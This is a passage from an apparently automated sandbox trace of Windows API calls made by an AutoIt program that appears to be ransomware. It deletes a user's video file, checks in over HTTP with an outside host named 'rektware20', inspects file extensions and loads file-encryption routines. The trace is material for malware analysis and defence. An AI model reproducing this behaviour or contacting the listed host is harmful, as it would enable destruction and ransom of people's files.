lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.315] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.315] CryptReleaseContext (hProv=0x17aabc0, dwFlags=0x0) returned 1 [0066.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.315] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.315] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.316] CloseHandle (hObject=0x2ac) returned 1 [0066.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.316] CloseHandle (hObject=0x3bc) returned 1 [0066.321] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.323] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.323] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", lpFilePart=0x0) returned 0x46 [0066.323] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jdrcvbimfdmhbft-.mp4")) returned 0x20 [0066.323] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0066.323] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jdrcvbimfdmhbft-.mp4")) returned 1 [0066.326] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.327] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0066.327] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.327] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.327] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.327] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.327] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.327] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.327] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.327] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.327] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.327] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.328] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.328] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c) returned 1 [0066.328] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.328] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.328] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.329] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.329] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.329] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.329] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.329] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.329] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.330] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.330] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.330] CloseHandle (hObject=0x0) returned 0 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.330] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.331] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JQtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QtBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tBchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Bchp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="chp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hp7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.332] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.333] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.333] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.333] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.333] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.333] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.333] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.333] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.333] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.333] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.333] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c) returned 1 [0066.333] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.333] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.333] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.334] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.335] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.335] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.335] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.335] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.335] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.335] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.336] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.336] CloseHandle (hObject=0x0) returned 0 [0066.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.336] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.336] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.336] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.336] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.336] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.336] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.336] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.337] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.337] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.337] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.337] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.337] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.337] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.337] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.337] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.337] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.338] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.338] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] CharUpperBuffW (in: 